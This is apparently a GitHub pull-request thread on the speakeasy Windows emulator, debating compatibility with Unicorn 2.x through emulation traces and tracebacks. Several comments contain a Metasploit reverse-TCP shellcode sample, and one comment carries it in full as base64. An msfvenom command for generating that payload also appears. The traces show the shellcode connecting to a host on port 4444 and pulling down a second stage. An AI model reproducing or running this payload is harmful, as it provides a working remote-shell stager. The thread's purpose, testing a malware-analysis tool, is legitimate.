mandiant / speakeasy

Windows kernel and user mode emulation.
MIT License
1.53k stars 232 forks source link

Update requirements.txt #235

Open Derekt2 opened 1 year ago

Derekt2 commented 1 year ago
williballenthin commented 1 year ago

i don't believe speakeasy works with Unicorn 2.0. have you found differently? therefore, this update should pin the unicorn version to less than 2.0.

HongThatCong commented 1 year ago

It still work with unicorn >= 2.0

williballenthin commented 1 year ago

great, then let's also enable CI testing for both versions so we can demonstrate this.

williballenthin commented 1 year ago

i'm surprised that Speakeasy does not rely upon any Unicorn APIs or behaviors that changed in 2.0

cecio commented 1 year ago

Unless something is changed from pull #216, I don't think it is fully compatible. I can run some tests now anyway and I'll let you know

cecio commented 1 year ago

Just did the same tests, but I have the same behavior (payloads are "standard" Metasploit generated shellcodes)

With 1.0.2:

>>> speakeasy -r -t samples/payload_tcp_rc4_64.bin -a amd64
* exec: shellcode
0x110a: 'kernel32.LoadLibraryA("ws2_32")' -> 0x78c00000
0x111b: 'ws2_32.WSAStartup(0x101, 0x1203e08)' -> 0x0
0x113b: 'ws2_32.WSASocketA("AF_INET", "SOCK_STREAM", 0x0, 0x0, 0x0, 0x0)' -> 0x4
0x1150: 'ws2_32.connect(0x4, "10.25.44.1:4444", 0x10)' -> 0x0
0x1177: 'ws2_32.recv(0x4, 0x1203d60, 0x4, 0x0)' -> 0x4
0x11ad: 'kernel32.VirtualAlloc(0x0, 0xd3a205a8, 0x1000, "PAGE_EXECUTE_READWRITE")' -> 0x1a7492000
0x11ce: 'ws2_32.recv(0x4, 0x1a7492100, 0xd3a205a8, 0x0)' -> 0x8
0x11ce: 'ws2_32.recv(0x4, 0x1a7492108, 0xd3a205a0, 0x0)' -> 0x0
0x11ce: 'ws2_32.recv(0x4, 0x1a7492108, 0xd3a205a0, 0x0)' -> 0x0

With 2.0.1:

>>> speakeasy -r -t samples/payload_tcp_rc4_64.bin -a amd64
* exec: shellcode
0x110a: 'kernel32.LoadLibraryA("ws2_32")' -> 0x78c00000
0x111b: 'ws2_32.WSAStartup(0x101, 0x1203e08)' -> 0x0
0x113b: 'ws2_32.WSASocketA("AF_INET", "SOCK_STREAM", 0x0, 0x0, 0x0, 0x0)' -> 0x4
0x1150: 'ws2_32.connect(0x4, "10.25.44.1:4444", 0x10)' -> 0x0
0x1177: 'ws2_32.recv(0x4, 0x1203d60, 0x4, 0x0)' -> 0x4
0x11ad: 'kernel32.VirtualAlloc(0x0, 0xd3a205a8, 0x1000, "PAGE_EXECUTE_READWRITE")' -> 0x1a7492000
* Finished emulating

The emulation stops after VirtualAlloc with a Segmentation Fault

Derekt2 commented 1 year ago

Odd, I'm not seeing that same behavior on my system, I haven't run into a difference yet running with unicorn 2+, and was able to emulate without a segfault from VirtualAlloc using what I believe is the same payload?

Are you running this on a M1 @cecio ? Here's my setup:

OS: Ubuntu 20.04 x86_64 unicorn: 2.0.1.post1 speakeasy: latest payload generated using: msfvenom -p windows/x64/shell/reverse_tcp_rc4 -f raw -o ~/Downloads/out.bin

image

cecio commented 1 year ago

Very strange. No, I'm not on a M1 btw.

I just retried on a completely different system (VM created on a cloud environment Ubuntu 20.04.1 LTS).

May be I'm doing something wrong...or different from you.

This is the base64 of the payload if you want to try:

/EiD5PDozAAAAEFRQVBSSDHSUWVIi1JgVkiLUhhIi1IgTTHJSItyUEgPt0pKSDHArDxhfAIsIEHB
yQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0FBEi0AgSQHQi0gY
41ZNMclI/8lBizSISAHWSDHAQcHJDaxBAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0Ac
SQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJ
ieZIgeygAQAASYnlSbwCABFcChksAUFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoK
QV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0Ckn/
znXl6B8BAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//Vg/gAD45tAAAASIPEIF6J9oH2oAWi00yN
ngABAABqQEFZaAAQAABBWEiJ8kgxyUG6WKRT5f/VSI2YAAEAAEmJ31NWUE0xyUmJ8EiJ2kiJ+UG6
AtnIX//VSIPEIIP4AH0oWEFXWWgAQAAAQVhqAFpBugsvDzD/1VdZQbp1bk1h/9VJ/87pIP///0gB
w0gpxnWzSYn+X1lBWUFW6BAAAAA0Kmh+otBTYMlTEHrL6D4IXkgxwEmJ+Kr+wHX7SDHbQQIcAEiJ
woDiDwIcFkGKFABBhhQYQYgUAP7AdeNIMdv+wEECHABBihQAQYYUGEGIFABBAhQYQYoUEEEwEUn/
wUj/yXXbX0H/51hqAFlJx8LwtaJW/9U=

I'm curios about the result.

cecio commented 1 year ago

@Derekt2 I edited my previous comment with new payload to be consistent with previous test. Try this last one in case

Derekt2 commented 1 year ago

no issue with that payload either, and your steps were identical to mine (other than using a virtual machine). Strange we get different results. Curious what results other folks get. image

HongThatCong commented 1 year ago

My OS: Windows 10.19041 Python: 3.9.7 Unicorn: 2.0.1.post1

My result: Z:\APIMons\speakeasy>run_speakeasy.py -r -t test.bin -a amd64

During handling of the above exception, another exception occurred:

Traceback (most recent call last): File "Z:\APIMons\speakeasy\speakeasy\windows\winemu.py", line 320, in _exec_next_run run = self.run_queue.pop(0) IndexError: pop from empty list

During handling of the above exception, another exception occurred:

Traceback (most recent call last): File "Z:\APIMons\speakeasy\run_speakeasy.py", line 51, in emulate_binary se.run_shellcode(sc_addr, offset=raw_offset or 0) File "Z:\APIMons\speakeasy\speakeasy\speakeasy.py", line 37, in wrap return func(self, *args, **kwargs) File "Z:\APIMons\speakeasy\speakeasy\speakeasy.py", line 274, in run_shellcode return self.emu.run_shellcode(sc_addr, stack_commit=stack_commit, offset=offset) File "Z:\APIMons\speakeasy\speakeasy\windows\win32.py", line 555, in run_shellcode self.start() File "Z:\APIMons\speakeasy\speakeasy\windows\winemu.py", line 459, in start run = self.on_run_complete() File "Z:\APIMons\speakeasy\speakeasy\windows\win32.py", line 746, in on_run_complete return self._exec_next_run() File "Z:\APIMons\speakeasy\speakeasy\windows\winemu.py", line 322, in _exec_next_run self.on_emu_complete() File "Z:\APIMons\speakeasy\speakeasy\windows\win32.py", line 728, in on_emu_complete dec_ansi, dec_unicode = self.get_mem_strings() File "Z:\APIMons\speakeasy\speakeasy\binemu.py", line 830, in get_mem_strings data = self.mem_read(mmap.get_base(), mmap.get_size()-1) File "Z:\APIMons\speakeasy\speakeasy\memmgr.py", line 251, in mem_read return bytes(self.emu_eng.mem_read(addr, size)) File "Z:\APIMons\speakeasy\speakeasy\engines\unicorn_eng.py", line 171, in mem_read return self.emu.mem_read(addr, size) File "Z:\Python39\lib\site-packages\unicorn\unicorn.py", line 579, in mem_read raise UcError(status) unicorn.unicorn.UcError: Invalid argument (UC_ERR_ARG)

I will review, debug and fix temporarily

HongThatCong commented 1 year ago

Speakeasy run well with Unicorn ver < 2.x.x (1.0.2, 1.0.3) With Unicorn ver >= 2.x.x, an unhandled exception will throwed from unicorn.dll Need to continue investigate image

Regards, TQN

ronbarrey commented 10 months ago

From my testing, it appears that the CLI works with Unicorn >= 2.0.0 but not from a Python script. Running from a Python script will cause a segmentation fault.

ronbarrey commented 7 months ago

Adding a little more context to my previous comment. I tested this using Unicorn 2.0.1 running in Ubuntu 22.04. It appears that the segfault occurs when running the emulation in the current process rather than a child process. The shellcode used was the sample posted by cecio. I believe the default behavior when running speakeasy from a python script, is to run in the current process, which would explain the segfault as well.

speakeasy -t dump.bin -r -a x64 --no-mp
* exec: shellcode
0x110a: 'kernel32.LoadLibraryA("ws2_32")' -> 0x78c00000
0x111b: 'ws2_32.WSAStartup(0x101, 0x10003e08)' -> 0x0
0x113b: 'ws2_32.WSASocketA("AF_INET", "SOCK_STREAM", 0x0, 0x0, 0x0, 0x0)' -> 0x4
0x1150: 'ws2_32.connect(0x4, "10.25.44.1:4444", 0x10)' -> 0x0
0x1177: 'ws2_32.recv(0x4, 0x10003d60, 0x4, 0x0)' -> 0x4
0x11ad: 'kernel32.VirtualAlloc(0x0, 0xd3a205a8, 0x1000, "PAGE_EXECUTE_READWRITE")' -> 0x1a7492000
Segmentation fault (core dumped)

speakeasy -t dump.bin -r -a x64
* exec: shellcode
0x110a: 'kernel32.LoadLibraryA("ws2_32")' -> 0x78c00000
0x111b: 'ws2_32.WSAStartup(0x101, 0x10003e08)' -> 0x0
0x113b: 'ws2_32.WSASocketA("AF_INET", "SOCK_STREAM", 0x0, 0x0, 0x0, 0x0)' -> 0x4
0x1150: 'ws2_32.connect(0x4, "10.25.44.1:4444", 0x10)' -> 0x0
0x1177: 'ws2_32.recv(0x4, 0x10003d60, 0x4, 0x0)' -> 0x4
0x11ad: 'kernel32.VirtualAlloc(0x0, 0xd3a205a8, 0x1000, "PAGE_EXECUTE_READWRITE")' -> 0x1a7492000
* Finished emulating
cecio commented 7 months ago

mmmmh... I'm not sure: if you are using the same shellcode, even the second run is not working: you don't see the Segementation Fault, but the execution stops, since you don't see the subsequent call:

0x11ce: 'ws2_32.recv(0x4, 0x1a7492100, 0xd3a205a8, 0x0)' -> 0x8